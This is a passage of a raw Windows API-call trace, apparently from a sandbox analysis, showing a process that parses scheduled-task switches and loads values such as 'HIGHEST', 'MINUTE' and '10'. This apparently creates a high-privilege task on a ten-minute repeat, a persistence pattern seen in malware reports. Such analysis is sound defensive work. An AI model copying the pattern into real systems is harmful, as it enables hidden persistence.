_Size=0x7) returned 0 [0107.432] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x9, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|create|") returned 8 [0107.432] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|f|") returned 3 [0107.432] lstrlenW (lpString="|create|") returned 8 [0107.432] lstrlenW (lpString="|f|") returned 3 [0107.432] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0107.432] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.432] lstrlenW (lpString="?") returned 1 [0107.432] lstrlenW (lpString="?") returned 1 [0107.432] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.432] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.432] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|?|") returned 3 [0107.432] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|f|") returned 3 [0107.432] lstrlenW (lpString="|?|") returned 3 [0107.432] lstrlenW (lpString="|f|") returned 3 [0107.432] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0107.432] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.432] lstrlenW (lpString="s") returned 1 [0107.432] lstrlenW (lpString="s") returned 1 [0107.432] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.432] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.432] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|s|") returned 3 [0107.432] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|f|") returned 3 [0107.432] lstrlenW (lpString="|s|") returned 3 [0107.433] lstrlenW (lpString="|f|") returned 3 [0107.433] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0107.433] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.433] lstrlenW (lpString="u") returned 1 [0107.433] lstrlenW (lpString="u") returned 1 [0107.433] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.433] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.433] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|u|") returned 3 [0107.433] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|f|") returned 3 [0107.433] lstrlenW (lpString="|u|") returned 3 [0107.433] lstrlenW (lpString="|f|") returned 3 [0107.433] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0107.433] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.433] lstrlenW (lpString="p") returned 1 [0107.433] lstrlenW (lpString="p") returned 1 [0107.433] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.433] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.433] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|p|") returned 3 [0107.433] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|f|") returned 3 [0107.433] lstrlenW (lpString="|p|") returned 3 [0107.433] lstrlenW (lpString="|f|") returned 3 [0107.433] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0107.433] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.433] lstrlenW (lpString="ru") returned 2 [0107.433] lstrlenW (lpString="ru") returned 2 [0107.433] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.433] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.433] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|ru|") returned 4 [0107.433] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|f|") returned 3 [0107.433] lstrlenW (lpString="|ru|") returned 4 [0107.433] lstrlenW (lpString="|f|") returned 3 [0107.433] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0107.434] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.434] lstrlenW (lpString="rp") returned 2 [0107.434] lstrlenW (lpString="rp") returned 2 [0107.434] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.434] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.500] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|rp|") returned 4 [0107.500] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|f|") returned 3 [0107.500] lstrlenW (lpString="|rp|") returned 4 [0107.500] lstrlenW (lpString="|f|") returned 3 [0107.500] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0107.500] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.500] lstrlenW (lpString="sc") returned 2 [0107.500] lstrlenW (lpString="sc") returned 2 [0107.500] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.500] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.500] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|sc|") returned 4 [0107.500] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|f|") returned 3 [0107.500] lstrlenW (lpString="|sc|") returned 4 [0107.500] lstrlenW (lpString="|f|") returned 3 [0107.500] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0107.500] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.500] lstrlenW (lpString="mo") returned 2 [0107.500] lstrlenW (lpString="mo") returned 2 [0107.501] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.501] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.501] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|mo|") returned 4 [0107.501] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|f|") returned 3 [0107.501] lstrlenW (lpString="|mo|") returned 4 [0107.501] lstrlenW (lpString="|f|") returned 3 [0107.501] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0107.501] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.501] lstrlenW (lpString="d") returned 1 [0107.501] lstrlenW (lpString="d") returned 1 [0107.501] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.501] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.501] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|d|") returned 3 [0107.501] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|f|") returned 3 [0107.501] lstrlenW (lpString="|d|") returned 3 [0107.501] lstrlenW (lpString="|f|") returned 3 [0107.501] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0107.501] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.501] lstrlenW (lpString="m") returned 1 [0107.501] lstrlenW (lpString="m") returned 1 [0107.501] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.501] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.501] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|m|") returned 3 [0107.501] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|f|") returned 3 [0107.501] lstrlenW (lpString="|m|") returned 3 [0107.501] lstrlenW (lpString="|f|") returned 3 [0107.501] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0107.501] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.501] lstrlenW (lpString="i") returned 1 [0107.501] lstrlenW (lpString="i") returned 1 [0107.501] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.502] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.502] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|i|") returned 3 [0107.502] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|f|") returned 3 [0107.502] lstrlenW (lpString="|i|") returned 3 [0107.502] lstrlenW (lpString="|f|") returned 3 [0107.502] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0107.502] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.502] lstrlenW (lpString="tn") returned 2 [0107.502] lstrlenW (lpString="tn") returned 2 [0107.502] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.502] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.502] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|tn|") returned 4 [0107.502] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|f|") returned 3 [0107.502] lstrlenW (lpString="|tn|") returned 4 [0107.502] lstrlenW (lpString="|f|") returned 3 [0107.502] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0107.502] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.502] lstrlenW (lpString="tr") returned 2 [0107.502] lstrlenW (lpString="tr") returned 2 [0107.502] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.502] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.502] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|tr|") returned 4 [0107.502] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|f|") returned 3 [0107.502] lstrlenW (lpString="|tr|") returned 4 [0107.502] lstrlenW (lpString="|f|") returned 3 [0107.502] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0107.502] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.502] lstrlenW (lpString="st") returned 2 [0107.502] lstrlenW (lpString="st") returned 2 [0107.502] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.503] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.503] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|st|") returned 4 [0107.503] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|f|") returned 3 [0107.503] lstrlenW (lpString="|st|") returned 4 [0107.503] lstrlenW (lpString="|f|") returned 3 [0107.503] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0107.503] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.503] lstrlenW (lpString="sd") returned 2 [0107.503] lstrlenW (lpString="sd") returned 2 [0107.503] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.503] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.503] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|sd|") returned 4 [0107.503] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|f|") returned 3 [0107.503] lstrlenW (lpString="|sd|") returned 4 [0107.503] lstrlenW (lpString="|f|") returned 3 [0107.503] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0107.503] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.503] lstrlenW (lpString="ed") returned 2 [0107.503] lstrlenW (lpString="ed") returned 2 [0107.503] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.503] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.503] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|ed|") returned 4 [0107.503] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|f|") returned 3 [0107.503] lstrlenW (lpString="|ed|") returned 4 [0107.503] lstrlenW (lpString="|f|") returned 3 [0107.503] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0107.503] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.503] lstrlenW (lpString="it") returned 2 [0107.503] lstrlenW (lpString="it") returned 2 [0107.503] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.503] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.504] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|it|") returned 4 [0107.504] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|f|") returned 3 [0107.504] lstrlenW (lpString="|it|") returned 4 [0107.504] lstrlenW (lpString="|f|") returned 3 [0107.504] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0107.504] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.504] lstrlenW (lpString="et") returned 2 [0107.504] lstrlenW (lpString="et") returned 2 [0107.504] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.504] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.504] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|et|") returned 4 [0107.504] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|f|") returned 3 [0107.504] lstrlenW (lpString="|et|") returned 4 [0107.504] lstrlenW (lpString="|f|") returned 3 [0107.504] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0107.504] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.504] lstrlenW (lpString="k") returned 1 [0107.504] lstrlenW (lpString="k") returned 1 [0107.504] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.504] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.504] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|k|") returned 3 [0107.504] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|f|") returned 3 [0107.504] lstrlenW (lpString="|k|") returned 3 [0107.504] lstrlenW (lpString="|f|") returned 3 [0107.504] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0107.504] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.504] lstrlenW (lpString="du") returned 2 [0107.504] lstrlenW (lpString="du") returned 2 [0107.504] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.504] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.504] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|du|") returned 4 [0107.504] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|f|") returned 3 [0107.505] lstrlenW (lpString="|du|") returned 4 [0107.505] lstrlenW (lpString="|f|") returned 3 [0107.505] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0107.505] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.505] lstrlenW (lpString="ri") returned 2 [0107.505] lstrlenW (lpString="ri") returned 2 [0107.505] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.505] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.505] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|ri|") returned 4 [0107.505] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|f|") returned 3 [0107.505] lstrlenW (lpString="|ri|") returned 4 [0107.505] lstrlenW (lpString="|f|") returned 3 [0107.505] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0107.505] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.505] lstrlenW (lpString="z") returned 1 [0107.505] lstrlenW (lpString="z") returned 1 [0107.505] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.505] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.505] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|z|") returned 3 [0107.505] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|f|") returned 3 [0107.505] lstrlenW (lpString="|z|") returned 3 [0107.505] lstrlenW (lpString="|f|") returned 3 [0107.505] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0107.505] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.505] lstrlenW (lpString="f") returned 1 [0107.505] lstrlenW (lpString="f") returned 1 [0107.505] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.505] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.505] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|f|") returned 3 [0107.505] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|f|") returned 3 [0107.505] lstrlenW (lpString="|f|") returned 3 [0107.505] lstrlenW (lpString="|f|") returned 3 [0107.506] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0107.506] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.506] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.506] GetProcessHeap () returned 0x277e2100000 [0107.506] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x20) returned 0x277e210b8f0 [0107.506] _memicmp (_Buf1=0x277e2104740, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.506] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x277e210bab0, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0107.506] lstrlenW (lpString="LIMITED") returned 7 [0107.506] GetProcessHeap () returned 0x277e2100000 [0107.506] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x10) returned 0x277e210a4b0 [0107.506] GetThreadLocale () returned 0x409 [0107.506] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0107.506] GetProcessHeap () returned 0x277e2100000 [0107.506] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x20) returned 0x277e210b830 [0107.506] _memicmp (_Buf1=0x277e2104740, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.506] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x277e210bab0, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0107.506] lstrlenW (lpString="HIGHEST") returned 7 [0107.506] GetProcessHeap () returned 0x277e2100000 [0107.506] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x10) returned 0x277e210a730 [0107.506] GetThreadLocale () returned 0x409 [0107.506] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0107.506] GetProcessHeap () returned 0x277e2100000 [0107.506] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x20) returned 0x277e210b770 [0107.506] _memicmp (_Buf1=0x277e2104740, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.506] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x277e210bab0, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0107.506] lstrlenW (lpString="MINUTE") returned 6 [0107.506] GetProcessHeap () returned 0x277e2100000 [0107.506] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0xe) returned 0x277e210a7d0 [0107.506] GetThreadLocale () returned 0x409 [0107.506] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0107.507] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.507] GetProcessHeap () returned 0x277e2100000 [0107.507] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x1fc) returned 0x277e210a850 [0107.507] GetProcessHeap () returned 0x277e2100000 [0107.507] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x20) returned 0x277e210b920 [0107.507] _memicmp (_Buf1=0x277e2104740, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.507] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x277e210bab0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0107.507] lstrlenW (lpString="First") returned 5 [0107.507] GetProcessHeap () returned 0x277e2100000 [0107.507] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0xc) returned 0x277e210a770 [0107.507] GetProcessHeap () returned 0x277e2100000 [0107.507] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x20) returned 0x277e210b950 [0107.507] _memicmp (_Buf1=0x277e2104740, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.507] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x277e210bab0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0107.507] lstrlenW (lpString="Second") returned 6 [0107.507] GetProcessHeap () returned 0x277e2100000 [0107.507] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0xe) returned 0x277e210a750 [0107.507] GetProcessHeap () returned 0x277e2100000 [0107.507] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x20) returned 0x277e210b650 [0107.507] _memicmp (_Buf1=0x277e2104740, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.507] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x277e210bab0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0107.507] lstrlenW (lpString="Third") returned 5 [0107.507] GetProcessHeap () returned 0x277e2100000 [0107.507] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0xc) returned 0x277e210a5f0 [0107.507] GetProcessHeap () returned 0x277e2100000 [0107.507] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x20) returned 0x277e210b980 [0107.507] _memicmp (_Buf1=0x277e2104740, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.507] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x277e210bab0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0107.508] lstrlenW (lpString="Fourth") returned 6 [0107.508] GetProcessHeap () returned 0x277e2100000 [0107.508] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0xe) returned 0x277e210a530 [0107.508] _memicmp (_Buf1=0x277e2104740, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.508] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x277e210bab0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0107.508] lstrlenW (lpString="Last") returned 4 [0107.508] GetProcessHeap () returned 0x277e2100000 [0107.508] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0xa) returned 0x277e210a570 [0107.508] lstrlenW (lpString="10") returned 2 [0107.508] _wtol (_String="10") returned 10 [0107.508] _memicmp (_Buf1=0x277e2104740, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.508] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x277e210bab0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0107.508] lstrlenW (lpString="First") returned 5 [0107.508] _memicmp (_Buf1=0x277e2104740, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.508] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x277e210bab0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0107.508] lstrlenW (lpString="Second") returned 6 [0107.508] _memicmp (_Buf1=0x277e2104740, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.508] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x277e210bab0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0107.508] lstrlenW (lpString="Third") returned 5 [0107.508] _memicmp (_Buf1=0x277e2104740, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.508] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x277e210bab0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0107.508] lstrlenW (lpString="Fourth") returned 6 [0107.508] _memicmp (_Buf1=0x277e2104740, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.508] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x277e210bab0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0107.508] lstrlenW (lpString="Last") returned 4 [0107.508] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0xd372b9c680, cchData=128 | out: lpLCData="0") returned 2 [0107.509] _memicmp (_Buf1=0x277e2104740, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.509] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x277e210bab0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0107.509] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0107.509] GetProcessHeap () returned 0x277e2100000 [0107.509] GetProcessHeap () returned 0x277e2100000 [0107.509] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e210a770) returned 1 [0107.509] GetProcessHeap () returned 0x277e2100000 [0107.509] 